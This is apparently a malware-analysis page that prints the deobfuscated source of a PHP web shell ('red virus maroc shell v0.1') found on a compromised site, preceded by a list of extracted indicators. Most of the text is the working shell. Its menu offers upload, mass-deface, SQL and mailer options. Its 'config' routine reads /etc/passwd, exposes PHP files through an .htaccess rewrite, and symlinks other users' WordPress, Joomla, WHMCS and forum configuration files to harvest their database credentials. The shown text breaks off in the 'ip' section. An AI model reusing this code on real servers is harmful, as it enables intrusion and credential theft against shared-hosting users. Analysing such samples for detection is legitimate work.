PHP Malware Analysis

Back to list

Tags

URLs
http://www.ensemblestrategies.com/userfiles/cms_documents/portfolio/mrk___802.phtml
https://facebook.com/redvirus.phtml
https://facebook.com/redvirusmaroc1
https://facebook.com/redvirusmaroc1
http://army.koom.ma/
www.example.com
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd
http://www.w3.org/1999/xhtml
Emails
red-virus-maroc@outlook.fr
Execution
exec
Input
_GET
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<div id='alert'>Safe Mode : off </div><div id='alert'>you ip : 197.1.68.186 Server IP : 107.180.39.228<br> shell : http://www.ensemblestrategies.com/userfiles/cms_documents/portfolio/mrk___802.phtml <br> shell name : mrk___802.phtml </center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>



<table bgcolor="green" border="5" height="10%" width="100%">
<font size='5' color="green">
<tr>
<td><center>
<?php 
eval /* PHPDeobfuscator eval output */ {
    if ($safemode == "On") {
        echo "Safe Mode : ON";
    } else {
        echo "<div id='alert'>Safe Mode : off </div>";
    }
    $your_ip = $_SERVER['REMOTE_ADDR'];
    echo "<div id='alert'>you ip : {$your_ip}";
    $srvr_ip = $_SERVER['SERVER_ADDR'];
    echo " Server IP : " . $srvr_ip . "";
    $shellpa = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
    echo "<br> shell : {$shellpa} ";
    $shell = basename("{$shellpa}");
    echo "<br> shell name : {$shell} ";
    // red virus maroc shell
    // my fb :
    // facebook.com/redvirus.phtml
    // facebook.com/redvirusmaroc
    // my site :
    // army.koom.ma
    // the hackers army
    // we are
    //  Tha Disaster - Tha Rude - Tha J0keroo - Tha Mag!c!an - Tha X HaxOr - Tha ReDvirus Ma - Tha IndexDotHTML
};
?>
</center></td>
</tr>
</table>
<html>
<title>
.:: shell red virus maroc v0.1 ::.
</title>
<haed>
<body bgcolor='A6A187'>
<center>
 <HR WIDTH="100%" size="2" color='black'>

<center>

<A HREF="?"><button size="4" style='width: 150px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>home</button></A>

<A HREF="?tha=upload"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817' ><font size="4" color=green>[+] </font><font size="4" color=green> upload file</button></A>

<A HREF="?tha=mass"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mass deface</button></A>

<A HREF="?tha=sql"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> sql</button></A><br>--<br>

<A HREF="?tha=config"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> config</button></A>

<A HREF="?tha=ip"><button size="4"  style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> ip site</button></A>

<A HREF="?tha=base64"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>Base 64</button></A>

<A HREF="?tha=mailer"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> mailer</button></A><br>--<br>


<A HREF="?tha=phpinfo"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green> php info</button></A>

<A HREF="?tha=about"><button size="4" style='width: 200px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:14pt; color:#59E817'><font size="4" color=green>[+] </font><font size="4" color=green>about</button></A>


<HR WIDTH="60%" size="5" color='green'>
<font size='5' color='red' bgcolor="#FF0000">
red virus maroc shell v0.1
</font><br>
<HR WIDTH="60%" size="5" color='green' >
******************************<br>
 the hackers army          <br>
******************************
<br>
<HR WIDTH="100%" size="5" color='red' >
<br>
<?php 
////////////////////////////////// about /////////////////////////////////////
if ($_GET['tha'] == 'about') {
    ?>
<center>
<font size='5' color='red' bgcolor="green">
red virus maroc shell v0.1
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
THE HACKERS ARMY
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
Tha Disaster - Tha Rude - Tha J0keroo - Tha Mag!c!an - Tha X HaxOr - Tha ReDvirus Ma - Tha IndexDotHTML
</font><br><br>
<font size='5' color='red' >
me
</font><br><br>


 <A HREF="https://facebook.com/redvirus.phtml">facebook</A><br>
 <A HREF="https://facebook.com/redvirusmaroc1">page facebook</A><br>
<A HREF="https://facebook.com/redvirusmaroc1">youtube</A><br>
 <A HREF="http://army.koom.ma/">my site</A><br><br>
tnx REDR00T<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>






<?php 
} else {
    if (preg_match) {
    }
}
////////////////////////////////// config/////////////////////////////////////
if ($_GET['tha'] == 'config') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
</head>
<body><br><br><br>
<center>
<form method="POST">
<font size="5" color="green">
Passwd :
</font>
<p>&nbsp;</p>
<textarea rows=25 style='width:60%;height:50% border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817;' name="passwd" ><?php 
    eval /* PHPDeobfuscator eval output */ {
        echo file_get_contents('/etc/passwd');
    };
    ?></textarea></br>
<p>&nbsp;</p>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' name="cat" size="80" value="Start" type="submit"></br>
</form>
<?php 
    eval /* PHPDeobfuscator eval output */ {
        @error_reporting(0);
        @set_time_limit(0);
        if ($_POST["cat"] && !$_POST["passwd"] == "") {
            echo "att  ...<br>";
            $functions = @ini_get("disable_functions");
            if (eregi("symlink", $functions)) {
                die("<font color=red>Symlink Function is DisableD, You Can't Continue This Process !!</font>");
            }
            echo "Checking Done Without Problems, Continue ...<br>";
            @mkdir("T-H-A", 0755);
            @chdir("T-H-A");
            $htaccess = "\n\nOptions all\n\nOptions +Indexes\n\nOptions +FollowSymLinks\n\nDirectoryIndex Sux.html\n\nAddType text/plain .php\n\nAddHandler server-parsed .php\n\nAddType text/plain .html\n\nAddHandler txt .html\n\nRequire None \n\nSatisfy Any\n\n";
            file_put_contents(".htaccess", $htaccess, FILE_APPEND);
            $passwd = $_POST["passwd"];
            $passwd = explode("\n", $passwd);
            echo "Start Symlinking ...<br>";
            foreach ($passwd as $pwd) {
                $pawd = explode(":", $pwd);
                $user = $pawd[0];
                // Now symlink Them
                @symlink('/home/' . $user . '/public_html/includes/configure.php', $user . '-shop.txt');
                @symlink('/home/' . $user . '/public_html/os/includes/configure.php', $user . '-shop-os.txt');
                @symlink('/home/' . $user . '/public_html/oscom/includes/configure.php', $user . '-oscom.txt');
                @symlink('/home/' . $user . '/public_html/oscommerce/includes/configure.php', $user . '-oscommerce.txt');
                @symlink('/home/' . $user . '/public_html/oscommerces/includes/configure.php', $user . '-oscommerces.txt');
                @symlink('/home/' . $user . '/public_html/shop/includes/configure.php', $user . '-shop2.txt');
                @symlink('/home/' . $user . '/public_html/shopping/includes/configure.php', $user . '-shop-shopping.txt');
                @symlink('/home/' . $user . '/public_html/sale/includes/configure.php', $user . '-sale.txt');
                @symlink('/home/' . $user . '/public_html/amember/config.inc.php', $user . '-amember.txt');
                @symlink('/home/' . $user . '/public_html/config.inc.php', $user . '-amember2.txt');
                @symlink('/home/' . $user . '/public_html/members/configuration.php', $user . '-members.txt');
                @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images1.txt');
                @symlink('/home/' . $user . '/public_html/forum/includes/config.php', $user . '-forum.txt');
                @symlink('/home/' . $user . '/public_html/forums/includes/config.php', $user . '-forums.txt');
                @symlink('/home/' . $user . '/public_html/admin/conf.php', $user . '-5.txt');
                @symlink('/home/' . $user . '/public_html/admin/config.php', $user . '-4.txt');
                @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
                @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
                @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
                @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
                @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
                @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
                @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
                @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
                @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
                @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
                @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
                @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
                @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
                @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
                @symlink('/home/' . $user . '/public_html/arcade/functions/dbclass.php', $user . '-ibproarcade.txt');
                @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
                @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
                @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
                @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
                @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
                @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
                @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
                @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
                @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
                @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
                @symlink('/home/' . $user . '/public_html/vb3/includes/config.php', $user . '-vb3-config.txt');
                @symlink('/home/' . $user . '/public_html/cc/includes/config.php', $user . '-vb1-config.txt');
                @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-includes-vb.txt');
                @symlink('/home/' . $user . '/public_html/forum/includes/class_core.php', $user . '-vbluttin-class_core.php.txt');
                @symlink('/home/' . $user . '/public_html/vb/includes/class_core.php', $user . '-vbluttin-class_core.php1.txt');
                @symlink('/home/' . $user . '/public_html/cc/includes/class_core.php', $user . '-vbluttin-class_core.php2.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
                @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
                @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
                @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
                @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
                @symlink('/home/' . $user . '/public_html/supp/configuration.php', $user . '-supp.txt');
                @symlink('/home/' . $user . '/public_html/secure/configuration.php', $user . '-sucure.txt');
                @symlink('/home/' . $user . '/public_html/secure/whm/configuration.php', $user . '-sucure-whm.txt');
                @symlink('/home/' . $user . '/public_html/secure/whmcs/configuration.php', $user . '-sucure-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/cpanel/configuration.php', $user . '-cpanel.txt');
                @symlink('/home/' . $user . '/public_html/panel/configuration.php', $user . '-panel.txt');
                @symlink('/home/' . $user . '/public_html/host/configuration.php', $user . '-host.txt');
                @symlink('/home/' . $user . '/public_html/hosting/configuration.php', $user . '-hosting.txt');
                @symlink('/home/' . $user . '/public_html/hosts/configuration.php', $user . '-hosts.txt');
                @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
                @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
                @symlink('/home/' . $user . '/public_html/clients/configuration.php', $user . '-clients.txt');
                @symlink('/home/' . $user . '/public_html/client/configuration.php', $user . '-client.txt');
                @symlink('/home/' . $user . '/public_html/clientes/configuration.php', $user . '-clientes.txt');
                @symlink('/home/' . $user . '/public_html/cliente/configuration.php', $user . '-client.txt');
                @symlink('/home/' . $user . '/public_html/clientsupport/configuration.php', $user . '-clientsupport.txt');
                @symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-billing.txt');
                @symlink('/home/' . $user . '/public_html/manage/configuration.php', $user . '-whm-manage.txt');
                @symlink('/home/' . $user . '/public_html/my/configuration.php', $user . '-whm-my.txt');
                @symlink('/home/' . $user . '/public_html/myshop/configuration.php', $user . '-whm-myshop.txt');
                @symlink('/home/' . $user . '/public_html/includes/dist-configure.php', $user . '-zencart.txt');
                @symlink('/home/' . $user . '/public_html/zencart/includes/dist-configure.php', $user . '-shop-zencart.txt');
                @symlink('/home/' . $user . '/public_html/shop/includes/dist-configure.php', $user . '-shop-ZCshop.txt');
                @symlink('/home/' . $user . '/public_html/Settings.php', $user . '-smf.txt');
                @symlink('/home/' . $user . '/public_html/smf/Settings.php', $user . '-smf2.txt');
                @symlink('/home/' . $user . '/public_html/forum/Settings.php', $user . '-smf-forum.txt');
                @symlink('/home/' . $user . '/public_html/forums/Settings.php', $user . '-smf-forums.txt');
                @symlink('/home/' . $user . '/public_html/upload/includes/config.php', $user . '-up.txt');
                @symlink('/home/' . $user . '/public_html/article/config.php', $user . '-Nwahy.txt');
                @symlink('/home/' . $user . '/public_html/up/includes/config.php', $user . '-up2.txt');
                @symlink('/home/' . $user . '/public_html/conf_global.php', $user . '-6.txt');
                @symlink('/home/' . $user . '/public_html/include/db.php', $user . '-7.txt');
                @symlink('/home/' . $user . '/public_html/connect.php', $user . '-PHP-Fusion.txt');
                @symlink('/home/' . $user . '/public_html/mk_conf.php', $user . '-9.txt');
                @symlink('/home/' . $user . '/public_html/includes/config.php', $user . '-traidnt1.txt');
                @symlink('/home/' . $user . '/public_html/config.php', $user . '-4images.txt');
                @symlink('/home/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
                @symlink('/home/' . $user . '/public_html/member/configuration.php', $user . '-1member.txt');
                @symlink('/home/' . $user . '/public_html/billings/configuration.php', $user . '-billings.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
                @symlink('/home/' . $user . '/public_html/supports/configuration.php', $user . '-supports.txt');
                @symlink('/home/' . $user . '/public_html/requires/config.php', $user . '-AM4SS-hosting.txt');
                @symlink('/home/' . $user . '/public_html/supports/includes/iso4217.php', $user . '-hostbills-supports.txt');
                @symlink('/home/' . $user . '/public_html/client/includes/iso4217.php', $user . '-hostbills-client.txt');
                @symlink('/home/' . $user . '/public_html/support/includes/iso4217.php', $user . '-hostbills-support.txt');
                @symlink('/home/' . $user . '/public_html/billing/includes/iso4217.php', $user . '-hostbills-billing.txt');
                @symlink('/home/' . $user . '/public_html/billings/includes/iso4217.php', $user . '-hostbills-billings.txt');
                @symlink('/home/' . $user . '/public_html/host/includes/iso4217.php', $user . '-hostbills-host.txt');
                @symlink('/home/' . $user . '/public_html/hosts/includes/iso4217.php', $user . '-hostbills-hosts.txt');
                @symlink('/home/' . $user . '/public_html/hosting/includes/iso4217.php', $user . '-hostbills-hosting.txt');
                @symlink('/home/' . $user . '/public_html/hostings/includes/iso4217.php', $user . '-hostbills-hostings.txt');
                @symlink('/home/' . $user . '/public_html/includes/iso4217.php', $user . '-hostbills.txt');
                @symlink('/home/' . $user . '/public_html/hostbills/includes/iso4217.php', $user . '-hostbills-hostbills.txt');
                @symlink('/home/' . $user . '/public_html/hostbill/includes/iso4217.php', $user . '-hostbills-hostbill.txt');
            }
            echo "<a size='6' color='green' href='T-H-A'>confige</a><br>";
        }
    };
    ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

<?php 
} else {
    if (preg_match) {
    }
}
////////////////////////////////// base64 /////////////////////////////////////
if ($_GET['tha'] == 'base64') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
<script language=javascript type="text/javascript">
<!--
function urlDecode(str){
    str=str.replace(new RegExp('\\+','g'),' ');
    return unescape(str);
}
function urlEncode(str){
    str=escape(str);
    str=str.replace(new RegExp('\\+','g'),'%2B');
    return str.replace(new RegExp('%20','g'),'+');
}

var END_OF_INPUT = -1;

var base64Chars = new Array(
    'A','B','C','D','E','F','G','H',
    'I','J','K','L','M','N','O','P',
    'Q','R','S','T','U','V','W','X',
    'Y','Z','a','b','c','d','e','f',
    'g','h','i','j','k','l','m','n',
    'o','p','q','r','s','t','u','v',
    'w','x','y','z','0','1','2','3',
    '4','5','6','7','8','9','+','/'
);

var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}

var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){    
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function readReverseBase64(){   
    if (!base64Str) return END_OF_INPUT;
    while (true){      
        if (base64Count >= base64Str.length) return END_OF_INPUT;
        var nextCharacter = base64Str.charAt(base64Count);
        base64Count++;
        if (reverseBase64Chars[nextCharacter]){
            return reverseBase64Chars[nextCharacter];
        }
        if (nextCharacter == 'A') return 0;
    }
    return END_OF_INPUT;
}

function ntos(n){
    n=n.toString(16);
    if (n.length == 1) n="0"+n;
    n="%"+n;
    return unescape(n);
}

function decodeBase64(str){
    setBase64Str(str);
    var result = "";
    var inBuffer = new Array(4);
    var done = false;
    while (!done && (inBuffer[0] = readReverseBase64()) != END_OF_INPUT
        && (inBuffer[1] = readReverseBase64()) != END_OF_INPUT){
        inBuffer[2] = readReverseBase64();
        inBuffer[3] = readReverseBase64();
        result += ntos((((inBuffer[0] << 2) & 0xff)| inBuffer[1] >> 4));
        if (inBuffer[2] != END_OF_INPUT){
            result +=  ntos((((inBuffer[1] << 4) & 0xff)| inBuffer[2] >> 2));
            if (inBuffer[3] != END_OF_INPUT){
                result +=  ntos((((inBuffer[2] << 6)  & 0xff) | inBuffer[3]));
            } else {
                done = true;
            }
        } else {
            done = true;
        }
    }
    return result;
}

var digitArray = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
function toHex(n){
    var result = ''
    var start = true;
    for (var i=32; i>0;){
        i-=4;
        var digit = (n>>i) & 0xf;
        if (!start || digit != 0){
            start = false;
            result += digitArray[digit];
        }
    }
    return (result==''?'0':result);
}

function pad(str, len, pad){
    var result = str;
    for (var i=str.length; i<len; i++){
        result = pad + result;
    }
    return result;
}

function encodeHex(str){
    var result = "";
    for (var i=0; i<str.length; i++){
        result += pad(toHex(str.charCodeAt(i)&0xff),2,'0');
    }
    return result;
}

var hexv = {
  "00":0,"01":1,"02":2,"03":3,"04":4,"05":5,"06":6,"07":7,"08":8,"09":9,"0A":10,"0B":11,"0C":12,"0D":13,"0E":14,"0F":15,
  "10":16,"11":17,"12":18,"13":19,"14":20,"15":21,"16":22,"17":23,"18":24,"19":25,"1A":26,"1B":27,"1C":28,"1D":29,"1E":30,"1F":31,
  "20":32,"21":33,"22":34,"23":35,"24":36,"25":37,"26":38,"27":39,"28":40,"29":41,"2A":42,"2B":43,"2C":44,"2D":45,"2E":46,"2F":47,
  "30":48,"31":49,"32":50,"33":51,"34":52,"35":53,"36":54,"37":55,"38":56,"39":57,"3A":58,"3B":59,"3C":60,"3D":61,"3E":62,"3F":63,
  "40":64,"41":65,"42":66,"43":67,"44":68,"45":69,"46":70,"47":71,"48":72,"49":73,"4A":74,"4B":75,"4C":76,"4D":77,"4E":78,"4F":79,
  "50":80,"51":81,"52":82,"53":83,"54":84,"55":85,"56":86,"57":87,"58":88,"59":89,"5A":90,"5B":91,"5C":92,"5D":93,"5E":94,"5F":95,
  "60":96,"61":97,"62":98,"63":99,"64":100,"65":101,"66":102,"67":103,"68":104,"69":105,"6A":106,"6B":107,"6C":108,"6D":109,"6E":110,"6F":111,
  "70":112,"71":113,"72":114,"73":115,"74":116,"75":117,"76":118,"77":119,"78":120,"79":121,"7A":122,"7B":123,"7C":124,"7D":125,"7E":126,"7F":127,
  "80":128,"81":129,"82":130,"83":131,"84":132,"85":133,"86":134,"87":135,"88":136,"89":137,"8A":138,"8B":139,"8C":140,"8D":141,"8E":142,"8F":143,
  "90":144,"91":145,"92":146,"93":147,"94":148,"95":149,"96":150,"97":151,"98":152,"99":153,"9A":154,"9B":155,"9C":156,"9D":157,"9E":158,"9F-":159,
  "A0":160,"A1":161,"A2":162,"A3":163,"A4":164,"A5":165,"A6":166,"A7":167,"A8":168,"A9":169,"AA":170,"AB":171,"AC":172,"AD":173,"AE":174,"AF":175,
  "B0":176,"B1":177,"B2":178,"B3":179,"B4":180,"B5":181,"B6":182,"B7":183,"B8":184,"B9":185,"BA":186,"BB":187,"BC":188,"BD":189,"BE":190,"BF":191,
  "C0":192,"C1":193,"C2":194,"C3":195,"C4":196,"C5":197,"C6":198,"C7":199,"C8":200,"C9":201,"CA":202,"CB":203,"CC":204,"CD":205,"CE":206,"CF":207,
  "D0":208,"D1":209,"D2":210,"D3":211,"D4":212,"D5":213,"D6":214,"D7":215,"D8":216,"D9":217,"DA":218,"DB":219,"DC":220,"DD":221,"DE":222,"DF":223,
  "E0":224,"E1":225,"E2":226,"E3":227,"E4":228,"E5":229,"E6":230,"E7":231,"E8":232,"E9":233,"EA":234,"EB":235,"EC":236,"ED":237,"EE":238,"EF":239,
  "F0":240,"F1":241,"F2":242,"F3":243,"F4":244,"F5":245,"F6":246,"F7":247,"F8":248,"F9":249,"FA":250,"FB":251,"FC":252,"FD":253,"FE":254,"FF":255
};

function decodeHex(str){
    str = str.toUpperCase().replace(new RegExp("s/[^0-9A-Z]//g"));
    var result = "";
    var nextchar = "";
    for (var i=0; i<str.length; i++){
        nextchar += str.charAt(i);
        if (nextchar.length == 2){
            result += ntos(hexv[nextchar]);
            nextchar = "";
        }
    }
    return result;
    
}
//--></script>

</head>
<body>

<form name=code onsubmit="return false()">
<textarea rows=25 name=text style='border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817; width:60%;height:60%;' onfocus='if (this.value=="Enter text to encode or decode here."){this.value="";}'>Enter text to encode or decode here.</textarea>
<table>
<tr>
<td align=center>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Encode" type=button onclick="document.code.text.value=encodeBase64(document.code.text.value);"><br>

<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Decode" type=button onclick="document.code.text.value=decodeBase64(document.code.text.value);">
</td></tr>
<tr><br>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type=reset value=Clear><br>
----------------------------------------------
</td><td align=center>
</td></tr><br></table><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
/////////////////////// ip site  //////////////////////////////
if ($_GET['tha'] == 'ip') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php 
